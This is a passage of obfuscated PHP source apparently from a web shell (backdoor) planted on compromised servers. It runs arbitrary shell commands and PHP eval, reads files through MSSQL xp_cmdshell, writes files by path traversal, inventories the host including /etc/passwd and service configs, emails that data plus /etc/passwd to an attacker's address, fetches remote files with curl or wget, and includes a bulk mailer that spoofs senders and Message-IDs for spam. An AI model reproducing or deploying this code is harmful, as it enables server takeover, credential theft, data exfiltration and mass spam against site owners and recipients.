"; } @mysql_query("DROP TABLE IF EXISTS temp_mysql_readfile_table"); }else echo z9y("136"); @mysql_close($db); }else echo z9y("137","MySQL"); echo z5q(); break; case \'mssql\': echo z5w(\'\',\'1\'); if(@empty($sqlport)) $sqlport="1433"; $db=@mssql_connect(\'localhost,\'.$sqlport,$sqluser,$sqlpass); if($db){ if(@mssql_select_db($sqldb,$db)){ @mssql_query("drop table mssql_readfile_temp_table",$db); @mssql_query("create table mssql_readfile_temp_table ( string VARCHAR (500) NULL)",$db); @mssql_query("insert into mssql_readfile_temp_table EXEC master.dbo.xp_cmdshell \'".$readfile."\'",$db); $res=@mssql_query("select * from mssql_readfile_temp_table",$db); while(($row=@mssql_fetch_row($res))!==false){ echo @htmlspecialchars($row[0])."
"; } @mssql_query("drop table mssql_readfile_temp_table",$db); }else echo z9y("136"); @mssql_close($db); }else echo z9y("137","MsSQL"); echo z5q(); break; } echo z7f().z7y().z10q(); } echo z6s(); } if(@count($wf_arr)>0){ echo z3q(z9y("138")); echo z6s(); echo z5x(array("act"=>"f","d","f"=>(@isset($writefile)?$writefile:$d.$f),"ft"=>"functions","submit3"=>"1"), z10w( z7u(z5t(z9y("139")).z9c(z5y("writefile",$d.$f,"0","","9").z3m("writefile_func",$wf_arr,"5",1).z8b(z9y("141"),"7"))). z7u(z5t(z9y("140")).z9c(z5w("writecontent","1").(@isset($writecontent)?@htmlspecialchars($writecontent):\'<? phpinfo(); ?>\').z5q())),"2")); if(@isset($submit3)&&$submit3&&@isset($writefile)&&!@empty($writefile)){ echo z9m("2").z6f().z5t(z9x()).z7j(); switch($writefile_func){ case \'error_log\': @error_log($writecontent,3,"php://../../../../../../../../../../../".$writefile); if(z4r($writefile)) echo z9y("243"); break; case \'readfile\': @readfile($writecontent,3,"php://../../../../../../../../../../../".$writefile); if(z4r($writefile)) echo z9y("243"); break; break; case \'fopen\': if($fp=@fopen(\'srpath://../../../../../../../../../../../\'.$writefile,"a")){ @fputs($fp,$writecontent); @fclose($fp); echo z9y("243"); } break; default: break; } echo z7f().z7y().z10q(); } echo z6s(); } } } } if($act==\'search\'){ $ftarget=1; $fullpath=1; if(!@isset($s_in)||@empty($s_in)) $s_in=$d; if(!@isset($sn)||@empty($sn)){ $sn="(.*)"; $sn_reg=1; } if(!@isset($sn_reg)) $sn_reg=\'\'; if(!@isset($st)) $st=\'\'; if(!@isset($st_reg)) $st_reg=\'\'; if(!@isset($st_wwo)) $st_wwo=\'\'; if(!@isset($st_cs)) $st_cs=\'\'; if(!@isset($st_not)) $st_not=\'\'; if(!@isset($s_fd)) $s_fd=\'\'; if(!@isset($s_rec)) $s_rec=\'1\'; if(!@isset($find_text)||@empty($find_text)) $find_text="text"; if(!@isset($find_in_dir)||@empty($find_in_dir)) $find_in_dir=$d; if(!@isset($find_in_files)||@empty($find_in_files)) $find_in_files="*.php;*.txt"; z0h(); if(@isset($submit)&&$submit){ $found=array(); $found_d=0; $found_f=0; $search_i_f=0; $search_i_d=0; $ar=array("sn"=>$sn, "sn_reg"=>$sn_reg, "st"=>$st, "st_reg"=>$st_reg, "st_wwo"=>$st_wwo, "st_cs"=>$st_cs, "st_not"=>$st_not, "s_fd"=>$s_fd); $in=@array_unique(@explode(";",$s_in)); foreach($in as $v){ $sdir=$v; z5d($v); } if(@count($found)==0){ echo z3q(z9y("160")); }else{ $nolsmenu=1; $nohead=1; $ls_a=$found; $act="ls"; } } } if($act==\'cmd\'){ $st_a=array(\'\'=>\'-\',\' 2>&1\'=>\'2>&1\'); echo z3q( z10w( z7u( z6l( z7n(z9y("180")).z9k(\'\',\'command\').z2x(array(\'act\'=>\'cmd\',\'d\',\'cmdsubmit\'=>\'1\')).z6u(\'cmd\',\'\',\'0\').($nix?z3m(\'stderr\',$st_a,\'1\',\'1\'):\'\').z8b(\'»\',\'7\').z9l() ,\'\',\'2\'). z6l( z7n(z9y("181")).z5x(array(\'act\'=>\'cmd\',\'d\',\'cmdsubmit\'=>\'1\'),z2k(\'scmd\',($win?$winaliases:$nixaliases),\'0\',\'1\').($nix?z3m(\'stderr\',$st_a,\'1\',\'1\'):\'\').z8b(\'»\',\'7\')) ,\'\') ) ,\'2\')); echo z9m(\'2\').z6f().z6q().z5w(\'\',\'0\',1); if(@isset($cmdsubmit)&&$cmdsubmit){ echo z9e((@isset($cmd)?(@isset($stderr)?$cmd.$stderr:$cmd):(@isset($stderr)?$scmd.$stderr:$scmd))); } echo z5q().z7f().z7y().z10q(); } if($act==\'phpinfo\'){ $piarr=z1w(1); $h=0; foreach($piarr as $k=>$v){ echo z3q(@strtoupper($k)); echo z9m(\'2\'); $i=0; foreach($v as $a=>$b){ if(@is_string($b)){ echo z9d(z9c($a,\'14\',\'25\').z9c($b,\'14\'),($i%2?\'0\':\'1\')); $i++; } } $h++; echo z10q(); } } if($act==\'sysinfo\'){ $g_arr=array(); $date=@date("D M j G:i:s T Y"); $users=array(); if($bpasswd) $users=z8l(1); $distro=z1b(); $uptime=($nix&&$sh_exec)?z9e("uptime"):\'\'; $system=$host=$kernel=""; $sys=(($nix&&$sh_exec)?z9e("uname -a"):(z7e(\'php_uname\')?@php_uname("a"):\' \')); if($nix) @list($system, $host, $kernel,) = @explode(" ", $sys); if(!@empty($sys)) $g_arr[]=array("System",$sys,$sys); if(!@empty($system)&&!@empty($kernel)) $g_arr[]=array((($linux)?"Kernel":"Version"),$system." ".$kernel,$system." ".$kernel); if(!@empty($distro)) $g_arr[]=array("Distro name",$distro,nl2br($distro)); $idu=""; if($nix&&$sh_exec){ $idu=z9e("id"); $eid=@explode(" ",$idu); if(@count($eid)>=2) $idu=$eid[0]." ".$eid[1]; } if(!@empty($idu)) $g_arr[]=array("User id",$idu,$idu); if(!@empty($uptime)) $g_arr[]=array("Uptime",$uptime,$uptime); if(!@empty($date)) $g_arr[]=array("Local time",$date,$date); $g_arr[]=array("CPU info",z3o(),z3o()); $mem=z5a(); $g_arr[]=array("RAM info",$mem[0][1],$mem[0][0].$mem[0][1]); if($nix) $g_arr[]=array("RAM buffered",$mem[1][1],$mem[1][0].$mem[1][1]); if($nix) $g_arr[]=array("Swap",$mem[2][1],$mem[2][0].$mem[2][1]); $disk=z9r(); if(@count($disk)>1||!@isset($disk[0][0])){ foreach($disk as $dd=>$inf){ $g_arr[]=array("Space on ".$dd,$inf[1],$inf[0].$inf[1]); } }else{ $g_arr[]=array("Disk space",$disk[0][1],$disk[0][0].$disk[0][1]); } if(!@empty($host)){ $host .= " (".@gethostbyname($host).") "; } if(@preg_match(\'/^\d\.\d\.\d\.\d$/\',$saddr)){ $host .= $saddr; } else { $host.= $saddr." (".@gethostbyname($saddr).")"; } $g_arr[]=array("Hostname",$host,$host); if(@count($users)>0){ if(@isset($viewusers)&&$viewusers){ $pusers=\'\'; foreach($users as $uarr){ $pusers .= z5x(array("act"=>"ls","d"=>$uarr[1]),z8b($uarr[0],"1"),1).z9x()." "; } } else { $pusers=@count($users)." users on this box.".z9x().z5x(array("act"=>"sysinfo","d","viewusers"=>"1"),z8b("View","1")); } $g_arr[]=array("System users","",$pusers); } if(@count($g_arr)>0){ echo z3q(z9y("479")); echo z9m(\'2\'); for($i=0;$i<@count($g_arr);$i++){ echo z9d(z9c($g_arr[$i][0],"14","25").z9c($g_arr[$i][2],"14","3"),($i%2?\'0\':\'1\')); } echo z10q(); } $bsmed=z8d("safe_mode_exec_dir"); $psmed=(($bsmed)?@ini_get("safe_mode_exec_dir"):"NONE"); $bsmid=z8d("safe_mode_include_dir"); $psmid=(($bsmid)?@ini_get("safe_mode_include_dir"):"NONE"); $opendirs=""; if($bopendir){ foreach(z9a(@ini_get("open_basedir")) as $od){ $opendirs .= z5x(array("act"=>"ls","d"=>$od),z8b($od,"1"),1).z9x()." "; } } $dfnc=z6h(); if(@count($dfnc)>0){ $ndfnc=@implode(" ", $dfnc); $pdfnc=""; foreach($dfnc as $fnc) $pdfnc .= z10t(\'http://php.net/manual/en/function.\'.@str_replace("_","-",$fnc).\'.php\',$fnc,"1",1).z9x()." "; } else { $ndfnc="NONE"; $pdfnc=z5p("NONE"); } $p_arr=array(); $p_arr[]=array("PHP Version",@phpversion(),@phpversion().z9x().z5x(array("act"=>"phpinfo","d"),z8b("PHP Info","1"))); $p_arr[]=array("Open Basedir",(($bopendir)?@ini_get("open_basedir"):"NONE"),(($bopendir)?$opendirs:z5p("NONE"))); $p_arr[]=array("Safe-mode",(($bsafe)?"ON":"OFF"),($bsafe?z8k("ON"):z5p("OFF"))); if($bsafe){ $p_arr[]=array("Safe-mode exec dir",$psmed,(($bsmed)?z5p($psmed):z8k($psmed))); $p_arr[]=array("Safe-mode include dir",$psmid,(($bsmid)?z5p($psmid):z8k($psmid))); } foreach(array("register_globals","allow_url_fopen","allow_url_include","memory_limit","file_uploads","upload_tmp_dir","upload_max_filesize","post_max_size","magic_quotes_gpc") as $ini){ $p_arr[]=array(z3r(@str_replace("_"," ",$ini)),z3x(@ini_get($ini)),z3x(@ini_get($ini))); } $p_arr[]=array("Disabled Functions",$ndfnc,$pdfnc); if(@count($p_arr)>0){ echo z3q(z9y("480")); echo z9m(\'2\'); for($i=0;$i<@count($p_arr);$i++){ echo z9d(z9c($p_arr[$i][0],"14","25").z9c($p_arr[$i][2],"14","3"),($i%2?\'0\':\'1\')); } echo z10q(); } if($nix){ $o_arr=array(); $tmp=$tmpp=\'\'; foreach(array("/etc/"=>array("passwd","hosts","modules","fstab","issue","issue.net","motd"),"/proc/"=>array("cpuinfo","meminfo","version","interrupts")) as $ed=>$af){ foreach($af as $ef){ if(z4r($ed.$ef)&&z1y($ed.$ef)){ $tmp .= $ed.$ef." "; $tmpp .= z5x(array("act"=>"f","d"=>$ed,"f"=>$ef,"ft"=>"text"),z8b($ef,"1"),1).z9x()." "; } } } if(!@empty($tmp)) $o_arr[]=array(z9y("482"),$tmp,$tmpp); $tmp=$tmpp=\'\'; foreach(array("/etc/"=>array("syslog.conf","syslogd.conf","rsyslog.conf","resolv.conf","httpd.conf","apache2.conf","apache.conf","apache2/apache.conf","proftpd.conf","proftpd.conf","inetd.conf"),"/etc/apache2/"=>array("httpd.conf","apache2.conf"),"/etc/proftpd/"=>array("proftpd.conf")) as $ed=>$af){ foreach($af as $ef){ if(z4r($ed.$ef)&&z1y($ed.$ef)){ $tmp .= $ed.$ef." "; $tmpp .= z5x(array("act"=>"f","d"=>$ed,"f"=>$ef,"ft"=>"text"),z8b($ef,"1"),1).z9x()." "; } } } if(!@empty($tmp)) $o_arr[]=array(z9y("483"),$tmp,$tmpp); $tmp=$tmpp=\'\'; foreach(array("curl","fetch","links","lynx","GET","w3m","wget") as $ef){ $ff=z8t($ef); if(!@empty($ff)){ $tmp.=$ef." "; $tmpp.=z5x(array("act"=>"f","d"=>z3a($ff),"f"=>z2l($ff)),z8b(z2l($ef),"1"),1).z9x()." "; } } $tmp=$tmpp=\'\'; foreach(array("gcc","cc","c++","g++","nasm","ld","make","cmake") as $ef){ $ff=z8t($ef); if(!@empty($ff)){ $tmp.=$ef." "; $tmpp.=z5x(array("act"=>"f","d"=>z3a($ff),"f"=>z2l($ff)),z8b(z2l($ef),"1"),1).z9x()." "; } } if(!@empty($tmp)) $o_arr[]=array(z9y("484"),$tmp,$tmpp); $tmp=$tmpp=\'\'; foreach(array("perl","python","php","ruby","tcl") as $ef){ $ff=z8t($ef); if(!@empty($ff)){ $tmp.=$ef." "; $tmpp.=z5x(array("act"=>"f","d"=>z3a($ff),"f"=>z2l($ff)),z8b(z2l($ef),"1"),1).z9x()." "; } } if(!@empty($tmp)) $o_arr[]=array(z9y("485"),$tmp,$tmpp); if(@count($o_arr)>0){ echo z3q(z9y("481")); echo z9m(\'2\'); for($i=0;$i<@count($o_arr);$i++){ echo z9d(z9c($o_arr[$i][0],"14","25").z9c($o_arr[$i][2],"14","3"),($i%2?\'0\':\'1\')); } echo z10q(); } } if($bmail){ $emsg=\'\'; $msg=\'\'; if(@isset($sendlog)&&$sendlog&&@isset($sysmail)&&!@empty($sysmail)){ $line=@str_repeat("-",100)."
"; if(@count($g_arr)>0){ $msg.=$line.z9y("479")."
".$line; for($i=0;$i<@count($g_arr);$i++){ if(!@empty($g_arr[$i][1])) $msg .= $g_arr[$i][0]." : ".$g_arr[$i][1]."
"; } } if(@count($p_arr)>0){ $msg.=$line.z9y("480")."
".$line; for($i=0;$i<@count($p_arr);$i++){ if(!@empty($p_arr[$i][1])) $msg .= $p_arr[$i][0]." : ".$p_arr[$i][1]."
"; } } if(@count($o_arr)>0){ $msg.=$line.z9y("481")."
".$line; for($i=0;$i<@count($o_arr);$i++){ if(!@empty($o_arr[$i][1])) $msg .= $o_arr[$i][0]." : ".$o_arr[$i][1]."
"; } } $msg.=$line; if($bpasswd) $msg .= "/etc/passwd
".$line.z9o("/etc/passwd").$line; $emsg=(@mail($sysmail,"SYSINFO|$saddr", $msg) ? z9y("243"):z9y("244")); } echo z3q(z9y("302").(($emsg!=\'\')?" : ".$emsg:\'\')); echo z5x(array("act"=>"sysinfo","d","sendlog"=>"1"),z10w(z5b().z7u(z6l(z5y("sysmail",z7z(\'2\',"email"),"0").z8b(z9y("179"),"7"))).z5b(),"2")); } } if($act==\'eval\'){ if(!@isset($evalsubmit)){ $eval_txt=1; } elseif(!@isset($eval_txt)){ $eval_txt=0; } echo z3q(z9y("182")).z6s(); echo z10w( z7u( z6l(z5x(array(\'act\'=>\'eval\',\'d\',\'evalsubmit\'=>\'1\'), z5w(\'eval\',\'1\').(@isset($eval)?@htmlspecialchars($eval):\'//readfile("/etc/passwd");\'."
").z5q().z9z().z5z("left","3").z8b(z9y("183"),\'7\',\'9\').z5u("eval_txt",z9y("184"),"eval_txt").z5h()) ) ).z5b() ,\'2\'); if(@isset($evalsubmit)&&$evalsubmit){ $eval=@isset($eval)?$eval:""; if(!@empty($eval)){ $eval_result=""; $tmp=@ob_get_contents(); $olddir=@realpath(".")||@getcwd(); @chdir($d); if($tmp){ @ob_clean(); eval($eval); $ret=@ob_get_contents(); $ret=@convert_cyr_string($ret,"d","w"); @ob_clean(); echo $tmp; if($eval_txt){ $eval_result=@htmlspecialchars($ret); }else{ $eval_result=$ret; } }else{ if($eval_txt){ $eval_result=eval($eval); }else{ $eval_result=$ret; } } @chdir($olddir); } if($eval_txt){ echo z10w( z7u( z6l(z5w(\'\',\'1\',1).(@isset($eval_result)?$eval_result:\'\').z5q()) ).z5b() ,\'2\'); } else { echo $eval_result; } } } if($act==\'upload\'){ if(z0n($d)){ $wdt=(($use_images)?\'<img alt="+" border="0" style="vertical-align: middle; padding-left:2px;" src="?act=i&img=ok">\':z5p("+")); }else{ $wdt=(($use_images)?\'<img alt="x" border="0" style="vertical-align: middle; padding-left:2px;" src="?act=i&img=cancel">\':z8k("x")); } $a_get=array(); $ls_a=array(); $umsg=$mmsg=$rmsg=\'\'; if(!@isset($multiupload)){ if(@isset($usubmit)&&$usubmit){ global $_FILES; $dest=\'\'; if(!@empty($_FILES[\'file1\'][\'tmp_name\'])){ $dest=$_FILES[\'file1\'][\'name\']; } if(@isset($rfile1)&&!@empty($rfile1)){ $dest=$rfile1; } if(!@isset($path1)||@empty($path1)) $path1=$d; $path1=z1k($path1); if(!@empty($dest)){ if(!@move_uploaded_file($_FILES[\'file1\'][\'tmp_name\'],$path1.$dest)){ $umsg = z9y("172",array($_FILES[\'file1\'][\'name\'],$_FILES[\'file1\'][\'tmp_name\'],$path1.$dest)); }else{ $umsg = z9y("173",array($_FILES[\'file1\'][\'name\'],$path1.$dest)); $ls_a[]=$path1.$dest; $nolsmenu=1; $act="ls"; $d=$path1; } $umsg = z10w(z7u(z9c($umsg))); } } echo z3q(z9y("161")).$umsg. z10w( z5b(). z9d( z9c( z5n(array(\'act\'=>\'upload\',\'d\',\'usubmit\'=>\'1\'), z10w( z7u(z5t(z9y("162")).z9c(z9g(\'file1\',\'2\').z8b(z9y("170"),\'7\').$wdt)). z7u(z5t(z9y("163")).z9c(z6u(\'rfile1\',(@isset($rfile1)?$rfile1:\'\'),"9"))). z7u(z5t(z9y("164")).z9c(z6u(\'path1\',(@isset($path1)?$path1:$d),"9"))) ) ) ). z9c( z5x(array(\'act\'=>\'upload\',\'d\',\'multiupload\'=>\'1\'), z10w( z7u(z9c(z7n(z9y("166")).z6u(\'lno\',((@isset($lno))?$lno:\'10\'),\'1\').z8b(z9y("169"),\'7\'))) ) ) ) ). z5b() ,\'2\'); } else { if(@isset($msubmit)&&$msubmit){ global $_FILES; foreach($_FILES as $fk=>$fv){ $dest=\'\'; if(!@empty($_FILES[$fk][\'tmp_name\'])){ $dest=$_FILES[$fk][\'name\']; } if(@isset($rfile[$fk])&&!@empty($rfile[$fk])){ $dest=$rfile[$fk]; } if(!@isset($mpath)||@empty($mpath)) $mpath=$d; $mpath=z1k($mpath); if(!@empty($dest)){ if(!@move_uploaded_file($_FILES[$fk][\'tmp_name\'],$mpath.$dest)){ $mmsg .= z9y("172",array($_FILES[$fk][\'name\'],$_FILES[$fk][\'tmp_name\'],$mpath.$dest)).z9z(); }else{ $mmsg .= z9y("173",array($_FILES[$fk][\'name\'],$mpath.$dest)).z9z(); $ls_a[]=$mpath.$dest; $nolsmenu=1; $act="ls"; $ftarget=\'1\'; $d=$mpath; } } } if($mmsg!=\'\') $mmsg = z10w(z7u(z9c($mmsg))); } $form=\'\'; if(!@is_numeric($lno)) $lno=10; for($i=0; $i<$lno; $i++){ $ii=($i+1); $form .= z7u(z5t(z9y("162")." ".$ii).z9c(z9g(\'file\'.$ii,\'2\')).z5t(z9y("163")).z9c(z6u(\'rfile[file\'.$ii.\']\',\'\',"0"))); } echo z3q(z9y("168")).$mmsg. z5n(array(\'act\'=>\'upload\',\'d\',\'multiupload\'=>\'1\',\'lno\',\'msubmit\'=>\'1\'),z10w(z5b().$form).z10w(z5b().z7u(z5t(z9y("164")).z9c(z6u(\'mpath\',(@isset($mpath)?$mpath:$d),"9").z8b(z9y("170"),\'7\').$wdt)).z5b())); } if($bcurl) $a_get[\'phpcurl\']="use php->curl"; if($bfsock) $a_get[\'fsock\']="use php->fsockopen"; if(z7e(\'ini_get\') && z8d(\'allow_url_fopen\') && z7e(\'file_get_contents\')) $a_get[\'file_get_contents\']="use php->file_get_contents"; if($nix&&$sh_exec){ foreach($getaliases as $k=>$v){ if(z8t($k)) $a_get[$k]="use cmd->$k"; } } if(@count($a_get)>0){ if(@isset($rsubmit)&&$rsubmit){ $fct=\'\'; if(!@preg_match(":^(http|https|ftp)\://([a-zA-Z0-9\.\-]+(\:[a-zA-Z0-9\.&%\$\-]+)*@)?((25[0-5]|2[0-4][0-9]|[0-1]{1}[0-9]{2}|[1-9]{1}[0-9]{1}|[1-9])\.(25[0-5]|2[0-4][0-9]|[0-1]{1}[0-9]{2}|[1-9]{1}[0-9]{1}|[1-9]|0)\.(25[0-5]|2[0-4][0-9]|[0-1]{1}[0-9]{2}|[1-9]{1}[0-9]{1}|[1-9]|0)\.(25[0-5]|2[0-4][0-9]|[0-1]{1}[0-9]{2}|[1-9]{1}[0-9]{1}|[0-9])|([a-zA-Z0-9\-]+\.)*[a-zA-Z0-9\-]+\.[a-zA-Z]{2,4})(\:[0-9]+)?(/[^/][a-zA-Z0-9\.\,\?\'\/\+&%\$#\=~_\-@]*)*$:i",$uploadurl)){ $rmsg=z9y("171",$uploadurl); } else { $dest=z2l($uploadurl); if(@isset($nameurl)&&!@empty($nameurl)) $dest=$nameurl; if(@empty($dest)) $dest=\'index.html\'; if(!@isset($rpath)||@empty($rpath)) $rpath=$d; $rpath=z1k($rpath); if(z4r($rpath.$dest)){ $i=1; while(z4r($rpath.$dest)){ if($i==1){ $dest=$dest.".".$i; }else{ $dest=@substr($dest,0,@strlen($dest)-2).".".$i; } $i++; } } if($upwith==\'phpcurl\'||$upwith==\'fsock\'||$upwith==\'file_get_contents\'){ if($upwith==\'phpcurl\') $fct=z3t($uploadurl); if($upwith==\'fsock\') $fct=z2h($uploadurl); if($upwith==\'file_get_contents\') $fct=@file_get_contents($uploadurl); if(!$fct||@empty($fct)){ $rmsg = z9y("174"); } else { if(z9t($rpath.$dest, $fct)){ $rmsg=z9y("176",$rpath.$dest); $ls_a[]=$rpath.$dest; $nolsmenu=1; $act="ls"; $d=$rpath; } else { $rmsg=z9y("175",$rpath.$dest); } } } else { if($nix&&$sh_exec&&@isset($getaliases[$upwith])){ $ucmd=@str_replace(\'[%1%]\', $upwith, $getaliases[$upwith]); $ucmd=@str_replace(\'[%2%]\', $uploadurl, $ucmd); $ucmd=@str_replace(\'[%3%]\', $rpath.$dest, $ucmd); z9e($ucmd,1); if(z4r($rpath.$dest)){ $rmsg=z9y("176",$rpath.$dest); $ls_a[]=$rpath.$dest; $nolsmenu=1; $act="ls"; $d=$rpath; } else { $rmsg = z9y("174"); } } } } if($rmsg!=\'\') $rmsg = z10w(z7u(z9c($rmsg))); } echo z3q(z9y("167")).$rmsg. z5x(array(\'act\'=>\'upload\',\'d\',\'rsubmit\'=>\'1\'), z10w(z5b().z7u(z5t(z9y("165")).z9c(z6u(\'uploadurl\',(@isset($uploadurl)?$uploadurl:\'http://\'),"0").z3m(\'upwith\',$a_get,\'4\',\'1\').z8b(z9y("170"),\'7\').$wdt)). z7u(z5t(z9y("163")).z9c(z6u(\'nameurl\',(@isset($nameurl)?$nameurl:\'\'),"9"))). z7u(z5t(z9y("164")).z9c(z6u(\'rpath\',(@isset($rpath)?$rpath:$d),"9"))).z5b() ,\'2\') ); } } if(@isset($lsall)&&@isset($action)&&$action!=\'\'){ $lsall_arr=array(); $tlsall_arr=@explode("
",$lsall); foreach($tlsall_arr as $tls){ $tls=@trim($tls); if(!@empty($tls)&&!@in_array($tls,$lsall_arr)){ $lsall_arr[]=$tls; } } if(@count($lsall_arr)>0){ foreach($lsall_arr as $dfls){ if(@isset($use_buffer)&&$use_buffer&&@isset($bcopy)&&@isset($bcut)&&@is_array($bcopy)&&@is_array($bcut)){ switch($action){ case \'bcopy\': if(!@in_array($dfls,$bcopy)){ z1o($dfls,\'bcopy\'); } break; case \'bcut\': if(!@in_array($dfls,$bcut)){ z1o($dfls,\'bcut\'); } break; case \'bunsetcopy\': if(@in_array($dfls,$bcopy)){ z1o($dfls,\'bcopy\'); } break; case \'bunsetcut\': if(@in_array($dfls,$bcut)){ z1o($dfls,\'bcut\'); } break; case \'bunsetall\': if(@in_array($dfls,$bcopy)){ z1o($dfls,\'bcopy\'); } elseif(@in_array($dfls,$bcut)){ z1o($dfls,\'bcut\'); } break; default: break; } } switch($action){ case \'delete\': if(z4r($dfls)){ z8s($dfls); } break; default: break; } } if(@isset($use_buffer)&&$use_buffer) z0j(); } } if($act==\'mailer\'){ $smsg=$cmsg=\'\'; $s_ok=$c_ok=0; if(@isset($m1_submit)&&$m1_submit){ if(@empty($m1_name)||@empty($m1_from)||@empty($m1_subj)||@empty($m1_msg)||$m1_msg=="message"||@empty($m1_emails)||!@strstr($m1_emails,"@")){ $smsg=" : ".z9y("236"); } else { $s_ok=1; } } elseif(@isset($m2_submit)&&$m2_submit){ if(@empty($m2_name)||@empty($m2_from)||@empty($m2_subj)||@empty($m2_msg)||@empty($m2_csv)||!@preg_match(\'/"(.*?)"\s*,\s*"(.*?)"/\',$m2_csv)){ $cmsg=" : ".z9y("236"); } else { $c_ok=1; } } if(!@isset($m1_msg)||@empty($m1_msg)) $m1_msg="message"; if(!@isset($m1_emails)||@empty($m1_emails)) $m1_emails="e-mails"; if(!@isset($m2_prefix)||@empty($m2_prefix)) $m2_prefix="column_prefix_"; if(!@isset($m2_ecol)||!@is_numeric($m2_ecol)) $m2_ecol="0"; if(!@isset($m2_msg)||@empty($m2_msg)) $m2_msg="Hello ".$m2_prefix."1,
Your Address: ".$m2_prefix."2
Your Phone: ".$m2_prefix."3
E-mail sent to: ".$m2_prefix."0"; if(!@isset($m2_csv)||@empty($m2_csv)) $m2_csv=\'"john@email","john","john\'s address","0123456789"\'."
".\'"jane@email","jane","jane\'s address","9876543210"\'; echo z3q(array(z9y("212").$smsg, z9y("213").$cmsg),\'46\'); echo z9m(\'2\').z7o().z7j(\'\',\'4\'); echo z10w( z5b().z9d(z9c(z10w( z5x(array("act"=>"mailer","d","m1_submit"=>"1"), z7u(z9c(z7n(z9y("214"))).z6z(z5y(\'m1_name\',\'\',\'7\'))). z7u(z9c(z7n(z9y("215"))).z6z(z5y(\'m1_from\',\'\',\'7\'))). z7u(z9c(z7n(z9y("216"))).z6z(z5y(\'m1_subj\',\'\',\'7\'))). z7u(z6x(z5w(\'m1_msg\',\'3\').$m1_msg.z5q(),\'2\')). z7u(z6x(z5w(\'m1_emails\',\'3\').$m1_emails.z5q(),\'2\')). z7u(z6x(z10w(z7u(z9c(z7n(z9y("217")).z5y(\'m1_str\',\'\',\'4\')).z9c(z7n(z9y("218")).z3m(\'m1_replace\', array(""=>z9y("223"), "name"=>z9y("224"), "email1"=>z9y("225"), "email2"=>z9y("226"), "emailhash"=>z9y("227")),\'4\',1)).z9c(z7n(z9y("219")).z3m("m1_where",array( "subject"=>z9y("228"), "message"=>z9y("229"), ""=>z9y("230")),\'5\',1))),\'2\'),\'2\')). z7u(z6x(z10w(z7u(z9c(z5u("m1_rand1",z9y("231"),"m1_rand1"),\'\',\'4\').z9c(z5u("m1_rand2",z9y("232"),"m1_rand2"),\'\',\'4\')),\'2\'),\'2\')).z5b(). z7u(z6x(z8b(z9y("233"),\'7\').z5u(\'m1_preview\',z9y("234"),\'m1_preview\'),\'2\')) ),\'2\'),\'20\')). z5b() ,\'2\'); echo z7f().z7j(\'\',\'46\'); echo z10w( z5b().z9d(z9c(z10w( z5x(array(\'act\'=>\'mailer\',"d",\'m2_submit\'=>\'1\'), z7u(z9c(z7n(z9y("214"))).z6z(z5y(\'m2_name\',\'\',\'7\'))). z7u(z9c(z7n(z9y("215"))).z6z(z5y(\'m2_from\',\'\',\'7\'))). z7u(z9c(z7n(z9y("216"))).z6z(z5y(\'m2_subj\',\'\',\'7\'))). z7u(z6x(z5w(\'m2_msg\',\'3\').$m2_msg.z5q(),\'2\')). z7u(z6x(z5w(\'m2_csv\',\'3\').$m2_csv.z5q(),\'2\')). z7u(z6x(z10w(z7u(z9c(z7n(z9y("220")).z6u(\'m2_ecol\',$m2_ecol,\'6\')).z9c(z7n(z9y("221")).z5y(\'m2_prefix\',\'\',\'4\')).z9c(z7n(z9y("222")).z3m(\'m2_where\',array( "message"=>z9y("229"), ""=>z9y("230")),"4",1))),\'2\'),\'2\')). z7u(z6x(z10w(z7u(z9c(z5u("m2_rand1",z9y("231"),"m2_rand1"),\'\',\'4\').z9c(z5u("m2_rand2",z9y("232"),"m2_rand2"),\'\',\'4\')),\'2\'),\'2\')).z5b(). z7u(z6x(z8b(z9y("233"),\'7\').z5u(\'m2_preview\',z9y("234"),"m2_preview").\' \'.z5u(\'m2_verbose\',z9y("235"),"m2_verbose"),\'2\')) ),\'2\'),\'20\')). z5b() ,\'2\'); echo z7f().z7y().z10q(); if($s_ok||$c_ok){ $host=array("aol.com","att.net","bellsouth.net","comcast.net","email.com","gmail.com","googlemail.com","hotmail.com","juno.com","live.com","lycos.com","mail.com","mindspring.com","msn.com","pacbell.com","post.com","prodigy.net","rocketmail.com","sbcglobal.net","usa.com","yahoo.com","ymail.com"); $ch=(@count($host)-1); $i=1; $m_success=0; $m_failed=0; $all_failed=array(); if($s_ok){ echo z9m(\'2\').z7u( z9c(z9y("237"),\'8\',\'2\').z9c(z9y("238"),\'8\').z9c(z9y("239"),\'8\').z9c(z9y("240"),\'8\').z9c(z9y("241"),\'8\',\'3\') ); $m_all=@explode("
",$m1_emails); $m_all=@array_unique($m_all); $m_count=@count($m_all); $m_len=@strlen($m_count); z5o(); foreach($m_all as $m_mail){ $from=$m1_from; if(@isset($m1_rand1)&&$m1_rand1){ $from=@str_replace("@",@rand(100000,999999)."@",$from); } if(isset($m1_rand2)&&$m1_rand2){ $hr=@rand(0,$ch); $m_msgid=@md5(@uniqid(@time()))."@".$host[$hr]; }else{ $m_msgid=@md5(@uniqid(@time()))."@".$_SERVER["SERVER_NAME"]; } $header=""; $header.="From: $m1_name <$from>
"; $header.="Reply-To: <$from>
"; $header.="Message-ID: <".$m_msgid.">
"; $header.="MIME-Version: 1.0
"; $date=@date("Y-m-d"); $header.="Date: $date
"; $header.="Content-Type: text/html; charset=UTF-8
"; $header.="Content-Transfer-Encoding: 8bit
"; $m_msg=$m1_msg; $m_subj=$m1_subj; if(@isset($m1_str)&&!@empty($m1_str)&&@isset($m1_replace)&&!@empty($m1_replace)){ if($m1_replace=="name"){ if(!@isset($m1_where)||@empty($m1_where)||$m1_where=="message") $m_msg=@str_replace($m1_str,$m1_name,$m_msg); if(!@isset($m1_where)||@empty($m1_where)||$m1_where=="subject") $m_subj=@str_replace($m1_str,$m1_name,$m_subj); }elseif($m1_replace=="email1"){ if(!@isset($m1_where)||@empty($m1_where)||$m1_where=="message") $m_msg=@str_replace($m1_str,$m1_from,$m_msg); if(!@isset($m1_where)||@empty($m1_where)||$m1_where=="subject") $m_subj=@str_replace($m1_str,$m1_from,$m_subj); }elseif($m1_replace=="email2"){ if(!@isset($m1_where)||@empty($m1_where)||$m1_where=="message") $m_msg=@str_replace($m1_str,$m_mail,$m_msg); if(!@isset($m1_where)||@empty($m1_where)||$m1_where=="subject") $m_subj=@str_replace($m1_str,$m_mail,$m_subj); }elseif($m1_replace=="emailhash"){ if(!@isset($m1_where)||@empty($m1_where)||$m1_where=="message") $m_msg=@str_replace($m1_str,@md5($m_mail),$m_msg); if(!@isset($m1_where)||@empty($m1_where)||$m1_where=="subject") $m_subj=@str_replace($m1_str,@md5($m_mail),$m_subj); } } 